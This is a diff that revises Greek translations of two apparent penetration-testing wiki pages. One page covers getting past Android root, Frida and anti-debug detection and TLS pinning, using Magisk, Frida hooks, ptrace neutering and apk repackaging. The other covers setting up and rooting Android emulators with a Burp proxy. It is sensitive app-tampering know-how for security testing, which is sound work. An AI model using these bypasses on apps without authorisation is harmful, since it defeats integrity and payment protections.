View File

@ -12,20 +12,20 @@
- Έλεγχοι πρώιμης αρχικοποίησης: Application.onCreate() ή hooks εκκίνησης διαδικασίας που καταρρέουν αν υπάρχει οργάνωση
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
## Step 1 — Quick win: hide root with Magisk DenyList
## Step 1 — Γρήγορη νίκη: κρύψε το root με Magisk DenyList
- Ενεργοποιήστε το Zygisk στο Magisk
- Ενεργοποιήστε το DenyList, προσθέστε το στοχευμένο πακέτο
- Επανεκκινήστε και επαναδοκιμάστε
- Ενεργοποίησε το Zygisk στο Magisk
- Ενεργοποίησε το DenyList, πρόσθεσε το στοχευμένο πακέτο
- Επανεκκίνηση και επαναδοκιμή
Πολλές εφαρμογές αναζητούν μόνο προφανείς δείκτες (su/Magisk paths/getprop). Το DenyList συχνά εξουδετερώνει τις απλές ελέγχους.
Πολλές εφαρμογές κοιτούν μόνο προφανείς δείκτες (su/Magisk paths/getprop). Το DenyList συχνά εξουδετερώνει τις απλές ελέγχους.
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Step 2 — 30second Frida Codeshare tests
## Step 2 — Δοκιμές Frida Codeshare 30 δευτερολέπτων
Δοκιμάστε κοινά dropin scripts πριν βυθιστείτε βαθιά:
Δοκίμασε κοινά dropin scripts πριν εμβαθύνεις:
- anti-root-bypass.js
- anti-frida-detection.js
@ -48,7 +48,7 @@ frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
```
Αν αυτό λειτουργεί, διατηρήστε τη συνεδρία σταθερή και προχωρήστε σε χαρτογράφηση και έλεγχο stub.
Αν αυτό λειτουργεί, διατηρήστε τη συνεδρία σταθερή και προχωρήστε σε έλεγχο χαρτογράφησης και stub.
## Βήμα 4 — Χαρτογράφηση λογικής ανίχνευσης μέσω Jadx και αναζήτησης συμβολοσειρών
@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
});
});
```
Καταγράψτε και αποτρέψτε ύποπτες μεθόδους για να επιβεβαιώσετε τη ροή εκτέλεσης:
Καταγράψτε και αποδυναμώστε ύποπτες μεθόδους για να επιβεβαιώσετε τη ροή εκτέλεσης:
```js
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
@ -121,7 +121,7 @@ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
Παράδειγμα: neuter ptrace για να νικήσετε την απλή antidebug στη libc:
Παράδειγμα: neuter ptrace για να νικήσετε την απλή antidebug στο libc:
```js
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
@ -136,7 +136,7 @@ reversing-native-libraries.md
## Βήμα 7 — Patching με Objection (embed gadget / strip basics)
Όταν προτιμάτε την επανασυσκευασία από τα runtime hooks, δοκιμάστε:
Όταν προτιμάτε το repacking από τα runtime hooks, δοκιμάστε:
```bash
objection patchapk --source app.apk
```
@ -163,7 +163,7 @@ make-apk-accept-ca-certificate.md
install-burp-certificate.md
{{#endref}}
## Χρήσιμη αναφορά εντολών
## Χρήσιμο φύλλο εντολών
```bash
# List processes and attach
frida-ps -Uai
@ -183,7 +183,7 @@ apk-mitm app.apk
```
## Συμβουλές & προειδοποιήσεις
- Προτιμήστε την προσκόλληση αργά αντί της εκκίνησης όταν οι εφαρμογές καταρρέουν κατά την εκκίνηση
- Προτιμήστε την προσκόλληση αργά αντί για την εκκίνηση όταν οι εφαρμογές καταρρέουν κατά την εκκίνηση
- Ορισμένες ανιχνεύσεις επαναλαμβάνονται σε κρίσιμες ροές (π.χ., πληρωμή, αυθεντικοποίηση) — διατηρήστε τα hooks ενεργά κατά τη διάρκεια της πλοήγησης
- Συνδυάστε στατικό και δυναμικό: αναζητήστε συμβολοσειρές στο Jadx για να επιλέξετε κλάσεις; στη συνέχεια, συνδέστε μεθόδους για να επαληθεύσετε σε χρόνο εκτέλεσης
- Οι σκληρές εφαρμογές μπορεί να χρησιμοποιούν packers και εγγενές TLS pinning — περιμένετε να αναστρέψετε εγγενή κώδικα

View File

@ -9,7 +9,7 @@
Το Android Studio επιτρέπει να **τρέχετε εικονικές μηχανές Android που μπορείτε να χρησιμοποιήσετε για να δοκιμάσετε APKs**. Για να τις χρησιμοποιήσετε θα χρειαστείτε:
- Τα **εργαλεία Android SDK** - [Κατεβάστε εδώ](https://developer.android.com/studio/releases/sdk-tools).
- Ή **Android Studio** (με εργαλεία Android SDK) - [Κατεβάστε εδώ](https://developer.android.com/studio).
- Ή το **Android Studio** (με εργαλεία Android SDK) - [Κατεβάστε εδώ](https://developer.android.com/studio).
Στα Windows (στην περίπτωσή μου) **μετά την εγκατάσταση του Android Studio** είχα τα **εργαλεία SDK εγκατεστημένα στο**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
@ -18,17 +18,17 @@
brew tap homebrew/cask
brew install --cask android-sdk
```
Ή από το **Android Studio GUI** όπως υποδεικνύεται στο [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) που θα τα εγκαταστήσει στο `~/Library/Android/sdk/cmdline-tools/latest/bin/` και `~/Library/Android/sdk/platform-tools/` και `~/Library/Android/sdk/emulator/`
Ή από το **Android Studio GUI** όπως υποδεικνύεται στο [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) που θα τα εγκαταστήσει σε `~/Library/Android/sdk/cmdline-tools/latest/bin/` και `~/Library/Android/sdk/platform-tools/` και `~/Library/Android/sdk/emulator/`
Για τα προβλήματα με την Java:
Για τα προβλήματα με το Java:
```java
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
```
## GUI
### Prepare Virtual Machine
### Ετοιμάστε την Εικονική Μηχανή
Αν έχετε εγκαταστήσει το Android Studio, μπορείτε απλά να ανοίξετε την κύρια προβολή του έργου και να αποκτήσετε πρόσβαση: _**Tools**_ --> _**AVD Manager.**_
Αν έχετε εγκαταστήσει το Android Studio, μπορείτε απλά να ανοίξετε την κύρια προβολή έργου και να αποκτήσετε πρόσβαση: _**Tools**_ --> _**AVD Manager.**_
<div align="center" data-full-width="false">
@ -47,24 +47,27 @@ _**επιλέξτε** το τηλέφωνο που θέλετε να χρησι
>
> <img src="../../images/image (1144).png" alt="" data-size="original">
Στην τρέχουσα προβολή θα μπορείτε να **επιλέξετε και να κατεβάσετε την εικόνα Android** που θα τρέξει το τηλέφωνο:
Στη τρέχουσα προβολή θα μπορείτε να **επιλέξετε και να κατεβάσετε την εικόνα Android** που θα τρέχει το τηλέφωνο:
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
Έτσι, επιλέξτε το και αν δεν έχει κατέβει, κάντε κλικ στο σύμβολο _**Download**_ δίπλα στο όνομα (**τώρα περιμένετε μέχρι να κατέβει η εικόνα).**\
Έτσι, επιλέξτε το και αν δεν έχει κατέβει, κάντε κλικ στο _**Download**_ σύμβολο δίπλα στο όνομα (**τώρα περιμένετε μέχρι να κατέβει η εικόνα).**\
Μόλις η εικόνα κατέβει, απλά επιλέξτε **`Next`** και **`Finish`**.
Η εικονική μηχανή θα δημιουργηθεί. Τώρα **κάθε φορά που αποκτάτε πρόσβαση στον AVD manager, θα είναι παρούσα**.
### Run Virtual Machine
### Εκτέλεση Εικονικής Μηχανής
Για να **τρέξετε** την εικονική μηχανή, απλά πατήστε το _**Start button**_.
![](<../../images/image (518).png>)
## Command Line tool
## Εργαλείο Γραμμής Εντολών
Πρώτα απ' όλα, πρέπει να **αποφασίσετε ποιο τηλέφωνο θέλετε να χρησιμοποιήσετε**, για να δείτε τη λίστα των πιθανών τηλεφώνων εκτελέστε:
> [!WARNING]
> Για macOS μπορείτε να βρείτε το εργαλείο `avdmanager` στο `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` και το `emulator` στο `/Users/<username>/Library/Android/sdk/emulator/emulator` αν τα έχετε εγκαταστήσει.
Πρώτα απ' όλα, πρέπει να **αποφασίσετε ποιο τηλέφωνο θέλετε να χρησιμοποιήσετε**, για να δείτε τη λίστα με τα διαθέσιμα τηλέφωνα εκτελέστε:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -101,7 +104,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
Αφού έχετε κατεβάσει την εικόνα Android που θέλετε να χρησιμοποιήσετε, μπορείτε να **καταγράψετε όλες τις κατεβασμένες εικόνες Android** με:
Αφού έχετε κατεβάσει την εικόνα Android που θέλετε να χρησιμοποιήσετε, μπορείτε να **καταχωρήσετε όλες τις κατεβασμένες εικόνες Android** με:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
----------
@ -139,6 +142,9 @@ Error: Google pixel_2 no longer exists as a device
```
### Εκτέλεση Εικονικής Μηχανής
> [!WARNING]
> Για το macOS μπορείτε να βρείτε το εργαλείο `avdmanager` στο `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` και τον `emulator` στο `/Users/<username>/Library/Android/sdk/emulator/emulator` αν τα έχετε εγκαταστήσει.
Έχουμε ήδη δει πώς μπορείτε να καταγράψετε τις δημιουργημένες εικονικές μηχανές, αλλά **μπορείτε επίσης να τις καταγράψετε χρησιμοποιώντας**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
@ -167,30 +173,33 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
- `-dns-server 192.0.2.0, 192.0.2.255` : Επιτρέπει να υποδείξετε τους διακομιστές DNS χωρισμένους με κόμμα στη VM.
- **`-http-proxy 192.168.1.12:8080`** : Επιτρέπει να υποδείξετε έναν HTTP proxy προς χρήση (πολύ χρήσιμο για την καταγραφή της κίνησης χρησιμοποιώντας το Burp)
- `-port 5556` : Ορίστε τον αριθμό θύρας TCP που χρησιμοποιείται για την κονσόλα και το adb.
- `-ports 5556,5559` : Ορίστε τις θύρες TCP που χρησιμοποιούνται για την κονσόλα και το adb.
- Αν οι ρυθμίσεις του proxy δεν λειτουργούν για κάποιο λόγο, προσπαθήστε να τις ρυθμίσετε εσωτερικά ή χρησιμοποιώντας μια εφαρμογή όπως "Super Proxy" ή "ProxyDroid".
- `-netdelay 200` : Ρυθμίστε την καθυστέρηση δικτύου σε χιλιοστά του δευτερολέπτου.
- `-port 5556` : Ρυθμίστε τον αριθμό θύρας TCP που χρησιμοποιείται για την κονσόλα και το adb.
- `-ports 5556,5559` : Ρυθμίστε τις θύρες TCP που χρησιμοποιούνται για την κονσόλα και το adb.
- **`-tcpdump /path/dumpfile.cap`** : Καταγράψτε όλη την κίνηση σε ένα αρχείο
**Σύστημα**
- `-selinux {disabled|permissive}` : Ορίστε το module ασφαλείας Security-Enhanced Linux σε κατάσταση είτε απενεργοποιημένη είτε επιτρεπτική σε ένα λειτουργικό σύστημα Linux.
- `-timezone Europe/Paris` : Ορίστε τη ζώνη ώρας για τη εικονική συσκευή
- `-screen {touch(default)|multi-touch|o-touch}` : Ορίστε τη λειτουργία οθόνης αφής που προσομοιώνεται.
- `-selinux {disabled|permissive}` : Ρυθμίστε το module ασφαλείας Security-Enhanced Linux σε κατάσταση είτε απενεργοποιημένη είτε επιτρεπτική σε ένα λειτουργικό σύστημα Linux.
- `-timezone Europe/Paris` : Ρυθμίστε τη ζώνη ώρας για τη εικονική συσκευή
- `-screen {touch(default)|multi-touch|o-touch}` : Ρυθμίστε τη λειτουργία οθόνης αφής προσομοίωσης.
- **`-writable-system`** : Χρησιμοποιήστε αυτή την επιλογή για να έχετε μια εγγράψιμη εικόνα συστήματος κατά τη διάρκεια της συνεδρίας προσομοίωσης σας. Θα χρειαστεί επίσης να εκτελέσετε `adb root; adb remount`. Αυτό είναι πολύ χρήσιμο για την εγκατάσταση ενός νέου πιστοποιητικού στο σύστημα.
## Rooting μιας συσκευής Play Store
Εάν κατεβάσατε μια συσκευή με Play Store, δεν θα μπορείτε να αποκτήσετε root άμεσα, και θα λάβετε αυτό το μήνυμα σφάλματος
Αν κατεβάσατε μια συσκευή με Play Store δεν θα μπορέσετε να αποκτήσετε root άμεσα, και θα λάβετε αυτό το μήνυμα σφάλματος
```
$ adb root
adbd cannot run as root in production builds
```
Χρησιμοποιώντας [rootAVD](https://github.com/newbit1/rootAVD) με [Magisk](https://github.com/topjohnwu/Magisk) κατάφερα να το ριζώσω (ακολουθήστε για παράδειγμα [**αυτό το βίντεο**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ή** [**αυτό εδώ**](https://www.youtube.com/watch?v=qQicUW0svB8)).
Χρησιμοποιώντας [rootAVD](https://github.com/newbit1/rootAVD) με [Magisk](https://github.com/topjohnwu/Magisk) κατάφερα να το ριζώσω (ακολουθήστε για παράδειγμα [**αυτό το βίντεο**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ή** [**αυτό**](https://www.youtube.com/watch?v=qQicUW0svB8)).
## Εγκατάσταση Πιστοποιητικού Burp
Ελέγξτε την παρακάτω σελίδα για να μάθετε πώς να εγκαταστήσετε ένα προσαρμοσμένο πιστοποιητικό CA:
{{#ref}}
install-burp-certificate.md
{{#endref}}

Some files were not shown because too many files have changed in this diff Show More